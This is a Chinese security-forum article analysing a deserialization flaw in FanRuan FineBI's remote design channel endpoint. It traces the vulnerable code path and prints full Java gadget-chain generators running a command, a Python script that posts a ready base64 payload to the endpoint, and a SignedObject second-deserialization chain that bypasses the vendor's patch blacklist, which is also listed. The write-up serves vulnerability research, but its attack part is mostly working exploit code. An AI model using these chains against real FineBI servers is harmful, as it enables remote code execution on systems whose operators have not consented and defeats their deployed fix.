奇安信攻防社区-帆软channel接口反序列化漏洞分析

帆软channel接口反序列化漏洞分析

通过帆软channel反序列化历史漏洞，学习二次反序列化绕过黑名单限制进行利用

### 环境

fineBi 5.1.0

fineBi5.1.18（绕过）

### 漏洞分析

漏洞接口为`/webroot/decision/remote/design/channel`，在`fine-decision-report-10.0.jar`中，接口对应`com.fr.decision.extension.report.api.remote.RemoteDesignResource`类的`onMessage`方法。

在`onMessage`方法中，获取`request`中的输入流，以此作为参数调用`WorkContext.handleMessage`方法。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-de34a2a169da1264239708a140b1ee9696c57c44.png)

在`com.fr.workspace.WorkContext`的`handleMessage`方法中，调用了`messageListener.handleMessage(var0)`。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-0b9c0956d503fe2ca00d1bcdf621a1623478160d.png)

会调用到`com.fr.workspace.engine.rpc.WorkspaceServerInvoker`的`handleMessage`方法，在该方法中调用当前类的`deserializeInvocation`方法。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-b0529aa7f398a101bfb11805228982fb4548b37e.png)

在`deserializeInvocation`方法中，调用了`SerializerHelper.deserialize`来对`request`输入流进行反序列化，传入两个参数，一个是输入流，一个是`Serializer`对象。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-07938a076a19a00e9b8533ee69145b40a51b7e5a.png)

`Serializer`对象是通过以`InvocationSerializer.getDefault()`作为参数调用`GZipSerializerWrapper.wrap`方法获取。

`InvocationSerializer.getDefault()`方法是创建`InvocationSerializer`对象。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-4048bd6128e6b87be2463040afa792155a8e9a22.png)

`GZipSerializerWrapper.wrap`方法是创建`GZipSerializerWrapper`对象，并且将`InvocationSerializer`对象作为`this.serializer`的值。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-c29ac31acdf91f3f67760a01e741407987256ef3.png)

接着调用`SerializerHelper.deserialize`来对`request`输入流进行反序列化，这里的`var1`为`GZipSerializerWrapper`对象，将会调用`GZipSerializerWrapper`的`deserialize`方法。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-4ca5f6de2b817c6e1190273283feb842a5e1f3d9.png)

在`com.fr.serialization.GZipSerializerWrapper`的`deserialize`方法中，会调用`this.serializer`的`deserialize`方法，这里的`this.serializer`为`InvocationSerializer`对象。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-0d3f2ff67c8db980dd1468e5f18e564e8044ddc5.png)

最终会调用`com.fr.rpc.serialization.InvocationSerializer`的`deserialize`方法，`var1`为`request`输入流，调用了`readObject`进行反序列化。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-68555172aa8961874572c8c4d7b99ea37ba74105.png)

`inputstream`输入流在`com.fr.serialization.GZipSerializerWrapper`的`deserialize`方法中会被包装成`GZIPInputStream`对象，在发送数据的时候需要将`inputstream`进行`GZIP`编码。

### 利用链

在`fine-bi-engine-third-5.1.jar`包中集成了`CB`链依赖

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-c081e8785bf44279f66d956178788390cb700703.png)

生成利用链

```java
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;

public class CB_not_cc {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();

Class&lt;? extends TemplatesImpl&gt; templatesClass = templates.getClass();
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "aaa");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        // 自定义类
        ClassPool pool = ClassPool.getDefault();
        String clazzName = "onload";
        CtClass targetClass = pool.makeClass(clazzName);
        targetClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        CtConstructor cons = new CtConstructor(new CtClass[] {}, targetClass);

cons.setBody("{Runtime.getRuntime().exec(\"calc\");}");
        targetClass.addConstructor(cons);
        byte[] byteArray = targetClass.toBytecode();

byte[][] payloads = {byteArray};
        bytecodes.set(templates, payloads);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

PriorityQueue queue = new PriorityQueue(2, beanComparator);
        queue.add("a");
        queue.add("b");

Class&lt;? extends BeanComparator&gt; beanComparatorClass = beanComparator.getClass();
        Field property = beanComparatorClass.getDeclaredField("property");
        property.setAccessible(true);
        property.set(beanComparator, "outputProperties");

Class&lt;? extends PriorityQueue&gt; queueClass = queue.getClass();
        Field queue1 = queueClass.getDeclaredField("queue");
        queue1.setAccessible(true);
        queue1.set(queue, new Object[]{templates,templates});

// 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(queue);

// 包装成ZIP
        final ByteArrayOutputStream baos3 = new ByteArrayOutputStream();
        final GZIPOutputStream gos3 = new GZIPOutputStream(baos3);
        gos3.write(baos.toByteArray());
        gos3.finish();

String base64str = Base64.getEncoder().encodeToString(baos3.toByteArray());
        System.out.println(base64str);

// 执行反序列化
        final ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64str));
        final GZIPInputStream gis = new GZIPInputStream(bais);
        ObjectInputStream ois = new ObjectInputStream(gis);
        ois.readObject();

}

```

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-5f81252ac7914f75fbe16c49532219cdbc187730.png)

通过py脚本利用

```python
import requests,base64

host= "http://172.20.10.190:37799/"

payload = "H4sIAAAAAAAAAGWTT2sTQRjGn9lNkzRNaxtta70Jgm2FXcWDYMU/DQjBUKst9pBCmGyGuLKZXWdm261gD/0AnvwW9lIQFQ+CVw9614sXjx7EiyBW381G09pd2Jl5Zt73mfc3s7tfMaQVph/wDe7Exg+cZeWHyjdbd2IRi6cfzz//eW1nz4ZVQ077j0QdJS/sRlxxEyqDqXoa6aaRbvWfvpBEACxKfC5UHYdH3LsvHIrrhlI7LcFlGqCdReoNoj48YTv7S9+2LViHXB5iG6yOYqTCSCizZVDJXAMuO+6KUb7skCO5zffKSGUnk89UuRY1qYXUvvE3xMBs015/vL785b0FJJHBeBibKDbLmYUv9GaOKrAp52XaiKNj6RyoJOHk4fjSCCV54CQ6MJ5jFE+cVdGNAm6ErlE7vHb7rdx9dtFGvobRpi/bQpqluNsSqoaxJgVIHQhTIz1poNRsbRnhhW2hDexGY7GBfNMLuKZhpXGg4mqqLdQx1JS8K1I6uTommv9XcPhwBnp2OPhNT6x6Rrd+zUx2Op8u9VjQFCPdaizufp/+kS+ufu7LzHu3//oNTV/ADEM+lEHI2wUwhuuEyCVELiFyM0RuD5H7F5HbQ+SqWBq/K9wbLU3Fe2a1T6AAmzJe8aVvrjLYs3P3GHJVIkETZQwhX0IRwwwTAwh3s1QFjDCUOsL0xwyTs3P1I8sWyhjFWAllHKPMHg+8IiaoJxLhMZydPXqfDiYhdp4g5GUcx4k0ySR5roSx8sRNPyDPkQyGk4bgNCykl4eI0Uubp2+BRqdIZ9SOzb9E6RXGK5UXmFrb66+cTn8YnKSraHPOo02GJD3Z0eQPQVjlt6IDAAA="
data = base64.b64decode(payload)

res = requests.post(url=host+"/webroot/decision/remote/design/channel", data=data,verify=False, proxies={"http": "http:127.0.0.1:8080"})

print(res.text)

```

不过这里发现一个问题，当使用`commons-beanutils 1.9.2` 生成反序列化数据提交不会利用成功，通过arthas调试会发现报错`java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962`，这是由于`commons-beanutils`版本跟帆软环境中的不一致造成的，将生成序列化数据的环境从`1.9.2`换到`1.8.3`即可。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-71beb1a8a3bf9a3de863835e3f90d5e352be74fe.png)

### 修复方式

在`5.1.18`版本中，`InputStream`对象已被`JDKSerializer.CustomObjectInputStream`类重新封装。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-2c1b697bf9cec806871cf47e7bf4cc79f44596cc.png)

重写了`resolveClass`方法，如果被序列化的类名在`BLACK_SET`变量中，则不会进行序列化。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-1120b41c6aec6aacffe95f11d4a86ca360ae6412.png)

从`/com/fr/serialization/blacklist.txt`中得到禁止类序列化的名单。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-20e3980e93c3ef9836159660f7a31ad2e5fa42d9.png)  
在`fine-core-10.0.jar`中的`com.fr.serialization.blacklist.txt`路径下

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-a9584d85a9c5e175748202924789d1c6dbeea07a.png)

### 二次反序列化绕过限制

通过`blacklist.txt`黑名单可以看到，常规利用链都已经在黑名单中，那么真的就没有办法进行利用了吗？根据师傅们的高见，得知可以利用`SignedObject` 类进行反序列化绕过黑名单中的类名再次反序列化进行利用，俗称二次反序列化。

在`java.security.SignedObject`类中存在一个`getObject`方法，这个方法会`this.content`变量进行反序列化。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-8d6c460c55d4d3eb5bf05375b23db9545514255f.png)

而`SignedObject`类的构造方法会将传入的`object`对象进行序列化，并赋值给`this.content`变量。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-078fecc1f4f870365fda3e3404e1e527856d068c.png)

那么通过`SignedObject`这个类，可以将某个利用链，如CB链触发点`PriorityQueue`对象，作为参数传递进去，再找到一条路径调用`getObject`方法，便可以实现二次反序列化。

`getObject`属于`getter`方法，在`fastjson`中，对一个类进行序列化会自动调用该类的`静态代码块`、`构造方法`、`getter`方法。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-4ae8ffaf0251aab1d8a9fc776877faf96fbe0bc3.png)

但是在帆软环境中是没有`fastjson`依赖的，帆软中对`json`的处理是使用的`jackson`；在`jackson`中序列化一个类也有着类似的效果。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-858bbe4641598ec592e8afc3a783d3172dd09003.png)

在`com.fr.third.fasterxml.jackson.databind.node.InternalNodeMapper`类中，`nodeToString`方法和`nodeToPrettyString`方法都调用了`writeValueAsString`对`JsonNode`进行序列化。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-d6a89e07f78ccb1bca52f89082c4ce06338afb49.png)

而在`com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode`的`toString`和`toPrettyString`方法中也对如上两个方法分别进行调用；`this`代表所传入进行序列化的对象是当前调用的对象，当`BaseJsonNode`对象和继承了`BaseJsonNode`的对象调用到`toString`方法，就会调用`InternalNodeMapper.nodeToPrettyString(this)`对当前调用的对象进行序列化，自动调用`getter`方法。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-a6f5cd94eb780430ca1bef3a86c5858efcc2deef.png)

`BaseJsonNode`类被18个子类继承。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-adb6aab0abea86665c64c8adf0ada24e4d4d199e.png)

在这个18个子类中，只有`POJONode`类的构造方法能传入`Object`对象。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-7c1d189023908d9ac9e2b71af5d5f9d07d2a9473.png)  
这里，我们将`SignedObject`对象作为参数，创建一个`POJONode`对象，并调用其`toString`方法，并在`SignedObject`的`getObject`中打上断点，运行便调用到了该方法。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-3d365912b4c89b2d870e57a2ae2b7a13e326c191.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-4d3f389003f45639bb31e3e6e6f823097944dcb7.png)

调用栈

```java
getObject:177, SignedObject (java.security)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:690, BeanPropertyWriter (com.fr.third.fasterxml.jackson.databind.ser)
serializeFields:755, BeanSerializerBase (com.fr.third.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fr.third.fasterxml.jackson.databind.ser)
defaultSerializeValue:1119, SerializerProvider (com.fr.third.fasterxml.jackson.databind)
serialize:115, POJONode (com.fr.third.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fr.third.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fr.third.fasterxml.jackson.databind.ser.std)
_serialize:481, DefaultSerializerProvider (com.fr.third.fasterxml.jackson.databind.ser)
serializeValue:320, DefaultSerializerProvider (com.fr.third.fasterxml.jackson.databind.ser)
serialize:1517, ObjectWriter$Prefetch (com.fr.third.fasterxml.jackson.databind)
_writeValueAndClose:1218, ObjectWriter (com.fr.third.fasterxml.jackson.databind)
writeValueAsString:1087, ObjectWriter (com.fr.third.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fr.third.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fr.third.fasterxml.jackson.databind.node)
main:84, Test (example)
```

将`SignedObject`封装在`POJONode`类中，调用其`toString`方法，便触发了`SignedObject`的`getObject`方法。为了在执行反序列化`readObject`中调用到`POJONode`的`toString`方法，接下来还需要找到一条直接或间接的点能够触发`POJONode`的`toString`方法的点。

在`javax.management.BadAttributeValueExpException`的`readObject`方法中，调用了`toString`方法。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-42a23e8630a7827f5ff35c3db23a8fc18b171b4a.png)

并且`this.val`可通过构造方法进行传递。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-0b25de9d246e9a0271d7c6b3d08204b680bf64d7.png)  
将`POJONode`对象封装在`BadAttributeValueExpException`中，可直接进行触发。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-29d2e999e69b929f4948da5a3f1af32d5a8a1c6c.png)

但是不幸的是，该链在某个版本已经遭遇黑名单的残害了；不过还存在一个点，在`org.apache.commons.collections.bag.TreeBag`的`readObject`方法中，创建了`TreeMap`对象传入，调用了父类的`doReadObject`方法。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-6266ba6472df8944ade3b44f44955d83f44185b3.png)

`doReadObject`方法调用了`TreeMap`的`put`方法

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-c9e2bb2e46215892a8c8a0530770e3fcc1788f09.png)

`TreeMap`的`put`方法中调用了`compare`对`key`值进行比较，这里的`comparator`对象可以在创建`TreeBag`对象时传入，那么可以在创建`TreeBag`对象时，通过传入指定`comparator`对象，执行反序列化时就会自动调用`comparator`对象的`compare`方法。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-fc00f11722da01af08d71fe4afde130f7bc6eb8f.png)

那么在`org.freehep.util.VersionComparator`的`compare`方法中，调用了`toString`方法。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-5362bf15079ca34837745c251aea5a0f999a683e.png)

不过`VersionComparator`这个类并没有继承`Serializable`反序列化接口，不能进行序列化。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-7d6a29942ac8b43404387c48106ef6664defb4cd.png)

到这儿就完了吗？并没有，有时候不得不佩服师傅们的智慧。在`com.fr.base.ClassComparator`这个类中，可指定类名创建`ClassComparator`对象，在执行`compare`方法时，会反射加载指定的类名，并调用其`compare`方法，关键的是继承了`Serializable`接口。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-12b809cecf72e0dcf26edd80401a94f5736da2ff.png)

所以这里选择将`VersionComparator`类的包名`org.freehep.util.VersionComparator`作为参数创建`ClassComparator`对象，最后再将`ClassComparator`对象作为创建`TreeBag`对象的参数，执行反序列化时，就会调用到`ClassComparator`的`compare`方法。

#### 调用链

最终的调用链如下。

```php
org.apache.commons.collections.bag.TreeBag#readObject
    java.util.TreeMap#put
        java.util.TreeMap#compare
            com.fr.base.ClassComparator#compare
                org.freehep.util.VersionComparator#compare
                    com.fr.third.fasterxml.jackson.databind.node.POJONode#toString
                        java.security.SignedObject#getObject
                            // 二次反序列化利用CB链
```

#### 坑点

在构造利用链的时候遇到的一些问题。

##### add添加`POJONode`对象坑点

在序列化`TreeBag`类的时候，需要`add`添加被触发的`POJONode`对象，但是执行`add`会提前触发漏洞执行，为了防止提前触发漏洞，需要先`add`一个无关紧要的对象，然后再通过反射修改数据为`POJONode`对象。

```java
final Class&lt;?&gt; superclass = treeBag.getClass().getSuperclass();
final Field map = superclass.getDeclaredField("map");
map.setAccessible(true);
final Map treeMap = (Map) map.get(treeBag);
final Field root = treeMap.getClass().getDeclaredField("root");
root.setAccessible(true);
final Map.Entry  mapEnter = (Map.Entry) root.get(treeMap);
final Class&lt;? extends Map.Entry&gt; aClass = mapEnter.getClass();
final Field key = aClass.getDeclaredField("key");
key.setAccessible(true);
key.set(mapEnter, node);
```

##### 执行writeObject会自动触发调用

当按照调用链，把整条链子构造出来，执行`writeObject`序列化的时候，会提前触发调用，并且会报错，导致序列化后的数据不能正常生成。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-4a871f1f6b4f2b4d1cdd4ef4925fc0341b18d842.png)

报错提示

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-417def4b7c59946d616ce9e9350cbaa0c8f0f3ad.png)

解决办法是将`com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode`类反射加载，获取到`writeReplace`方法，移除掉，即可正常生成。

```java
final CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
final CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
```

#### 生成exp

```java
package example;

import com.fr.base.ClassComparator;
import com.fr.third.fasterxml.jackson.databind.node.POJONode ;
import javassist.CtMethod;
import org.apache.commons.collections.bag.TreeBag;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.*;
import java.util.zip.GZIPOutputStream;

public class Test {
    public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();

cons.setBody("{Runtime.getRuntime().exec(\"calc\");}");
        targetClass.addConstructor(cons);
        byte[] byteArray = targetClass.toBytecode();

byte[][] payloads = {byteArray};
        bytecodes.set(templates, payloads);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

PriorityQueue queue = new PriorityQueue(2, beanComparator);
        queue.add("a");
        queue.add("b");

final CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
        final CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();

// 二次反序列化
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        final SignedObject dsa = new SignedObject(queue, kp.getPrivate(), Signature.getInstance("DSA"));

//        dsa.getObject();
        POJONode node = new POJONode(dsa);

//        final VersionComparator versionComparator = new VersionComparator();
//        versionComparator.compare(node, node);

final ClassComparator classComparator = new ClassComparator("org.freehep.util.VersionComparator");
//        classComparator.compare(node, node);
        final TreeBag treeBag = new TreeBag(classComparator);
        treeBag.add(-1);

// 反射修改 root 属性的key
        final Class&lt;?&gt; superclass = treeBag.getClass().getSuperclass();
        final Field map = superclass.getDeclaredField("map");
        map.setAccessible(true);
        final Map treeMap = (Map) map.get(treeBag);
        final Field root = treeMap.getClass().getDeclaredField("root");
        root.setAccessible(true);
        final Map.Entry  mapEnter = (Map.Entry) root.get(treeMap);
        final Class&lt;? extends Map.Entry&gt; aClass = mapEnter.getClass();
        final Field key = aClass.getDeclaredField("key");
        key.setAccessible(true);
        key.set(mapEnter, node);

//  序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(treeBag);

final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        final GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStream);
        gzipOutputStream.write(baos.toByteArray());
        gzipOutputStream.finish();

final String encodeToString = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        System.out.println(encodeToString);

//        // 执行反序列化
        final ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();

}
}

```

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/03/attach-2b1f7bba9544a0733cf12a652d6feaa872434581.png)

### 反序列化类黑名单

```php

bsh.XThis
bsh.Interpreter
com.mchange.v2.c3p0.PoolBackedDataSource
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
clojure.lang.PersistentArrayMap
clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a
org.apache.commons.beanutils.BeanComparator
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors.ChainedTransformer
org.apache.commons.collections.functors.ConstantTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections.map.LazyMap
org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.keyvalue.TiedMapEntry
org.apache.commons.collections.map.TransformedMap
org.apache.commons.collections.functors.MapTransformer
org.apache.commons.collections.comparators.TransformingComparator
org.apache.commons.collections4.Transformer
org.apache.commons.collections4.comparators.TransformingComparator
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.ChainedTransformer
org.apache.commons.collections4.functors.ConstantTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.apache.commons.collections4.map.LazyMap
org.apache.commons.collections4.keyvalue.TiedMapEntry
org.apache.commons.collections4.map.TransformedMap
org.apache.commons.collections4.functors.MapTransformer
org.apache.commons.fileupload.disk.DiskFileItem
org.apache.commons.io.output.DeferredFileOutputStream
org.apache.commons.io.output.ThresholdingOutputStream
com.fr.third.org.apache.commons.beanutils.BeanComparator
com.fr.third.org.apache.commons.collections.Transformer
com.fr.third.org.apache.commons.collections.comparators.TransformingComparator
com.fr.third.org.apache.commons.collections.functors.ChainedTransformer
com.fr.third.org.apache.commons.collections.functors.ConstantTransformer
com.fr.third.org.apache.commons.collections.functors.InstantiateTransformer
com.fr.third.org.apache.commons.collections.map.LazyMap
com.fr.third.org.apache.commons.collections.functors.MapTransformer
com.fr.third.org.apache.commons.collections.functors.InvokerTransformer
com.fr.third.org.apache.commons.collections.keyvalue.TiedMapEntry
com.fr.third.org.org.apache.commons.collections.map.TransformedMap
com.fr.third.org.apache.commons.collections4.comparators.TransformingComparator
com.fr.third.org.apache.commons.collections4.functors.InvokerTransformer
com.fr.third.org.apache.commons.collections4.functors.ChainedTransformer
com.fr.third.org.apache.commons.collections4.functors.ConstantTransformer
com.fr.third.org.apache.commons.collections4.functors.InstantiateTransformer
com.fr.third.org.apache.commons.collections4.keyvalue.TiedMapEntry
com.fr.third.org.org.apache.commons.collections4.map.TransformedMap
com.fr.third.org.apache.commons.collections4.map.LazyMap
com.fr.third.org.apache.commons.collections4.functors.MapTransformer
com.fr.third.org.apache.commons.collections4.Transformer
com.fr.third.org.apache.commons.fileupload.disk.DiskFileItem
com.fr.third.org.apache.commons.io.output.DeferredFileOutputStream
com.fr.third.org.apache.commons.io.output.ThresholdingOutputStream
org.apache.wicket.util.upload.DiskFileItem
org.apache.wicket.util.io.DeferredFileOutputStream
org.apache.wicket.util.io.ThresholdingOutputStream
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.hibernate.engine.spi.TypedValue
org.hibernate.tuple.component.AbstractComponentTuplizer
org.hibernate.tuple.component.PojoComponentTuplizer
org.hibernate.type.AbstractType
org.hibernate.type.ComponentType
org.hibernate.type.Type
org.hibernate.EntityMode
com.fr.third.org.hibernate.engine.spi.TypedValue
com.fr.third.org.hibernate.tuple.component.AbstractComponentTuplizer
com.fr.third.org.hibernate.tuple.component.PojoComponentTuplizer
com.fr.third.org.hibernate.type.AbstractType
com.fr.third.org.hibernate.type.ComponentType
com.fr.third.org.hibernate.type.Type
com.fr.third.org.hibernate.EntityMode
com.sun.rowset.JdbcRowSetImpl
org.jboss.interceptor.builder.InterceptionModelBuilder
org.jboss.interceptor.builder.MethodReference
org.jboss.interceptor.proxy.DefaultInvocationContextFactory
org.jboss.interceptor.proxy.InterceptorMethodHandler
org.jboss.interceptor.reader.ClassMetadataInterceptorReference
org.jboss.interceptor.reader.DefaultMethodMetadata
org.jboss.interceptor.reader.ReflectiveClassMetadata
org.jboss.interceptor.reader.SimpleInterceptorMetadata
org.jboss.interceptor.spi.instance.InterceptorInstantiator
org.jboss.interceptor.spi.metadata.InterceptorReference
org.jboss.interceptor.spi.metadata.MethodMetadata
org.jboss.interceptor.spi.model.InterceptionType
org.jboss.interceptor.spi.model.InterceptionModel
sun.rmi.server.UnicastRef
sun.rmi.transport.LiveRef
sun.rmi.transport.tcp.TCPEndpoint
java.rmi.server.RemoteObject
java.rmi.server.RemoteRef
java.rmi.server.ObjID
java.rmi.RemoteObjectInvocationHandler
java.rmi.server.UnicastRemoteObject
java.rmi.registry.Registry
sun.rmi.server.ActivationGroupImpl
sun.rmi.server.UnicastServerRef
org.springframework.aop.framework.AdvisedSupport
net.sf.json.JSONObject
javax.xml.transform.Templates
org.jboss.weld.interceptor.builder.InterceptionModelBuilder
org.jboss.weld.interceptor.builder.MethodReference
org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory
org.jboss.weld.interceptor.proxy.InterceptorMethodHandler
org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference
org.jboss.weld.interceptor.reader.DefaultMethodMetadata
org.jboss.weld.interceptor.reader.ReflectiveClassMetadata
org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata
org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator
org.jboss.weld.interceptor.spi.metadata.InterceptorReference
org.jboss.weld.interceptor.spi.metadata.MethodMetadata
org.jboss.weld.interceptor.spi.model.InterceptionModel
org.jboss.weld.interceptor.spi.model.InterceptionType
org.python.core.PyObject
org.python.core.PyBytecode
org.python.core.PyFunction
org.apache.myfaces.context.servlet.FacesContextImpl
org.apache.myfaces.context.servlet.FacesContextImplBase
org.apache.myfaces.el.CompositeELResolver
org.apache.myfaces.el.unified.FacesELContext
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
com.sun.syndication.feed.impl.ObjectBean
org.springframework.beans.factory.ObjectFactory
org.springframework.core.SerializableTypeWrapper.$MethodInvokeTypeProvider
org.springframework.aop.framework.AdvisedSupport
org.springframework.aop.target.SingletonTargetSource
org.springframework.aop.framework.JdkDynamicAopProxy
org..springframework.transaction.jta.JtaTransactionManager
com.fr.third.springframework.beans.factory.ObjectFactory
com.fr.third.springframework.core.SerializableTypeWrapper.$MethodInvokeTypeProvider
com.fr.third.springframework.aop.framework.AdvisedSupport
com.fr.third.springframework.aop.target.SingletonTargetSource
com.fr.third.springframework.aop.framework.JdkDynamicAopProxy
com.fr.third.springframework.transaction.jta.JtaTransactionManager
com.vaadin.data.util.NestedMethodProperty
com.vaadin.data.util.PropertysetItem
java.util.PriorityQueue
java.lang.reflect.Proxy
javax.management.MBeanServerInvocationHandler
javax.management.openmbean.CompositeDataInvocationHandler
java.beans.EventHandler
java.util.Comparator
org.reflections.Reflections
com.fr.third.org.reflections.Reflections
```

### 参考文章

[https://tttang.com/archive/1701/#toc\_\_9](https://tttang.com/archive/1701/#toc__9)

<https://xz.aliyun.com/t/12509>

<https://xz.aliyun.com/t/13389>

<https://xz.aliyun.com/t/13900>

发表于 2024-03-26 09:00:01
阅读 ( 17002 )
分类：漏洞分析

帆软channel接口反序列化漏洞分析

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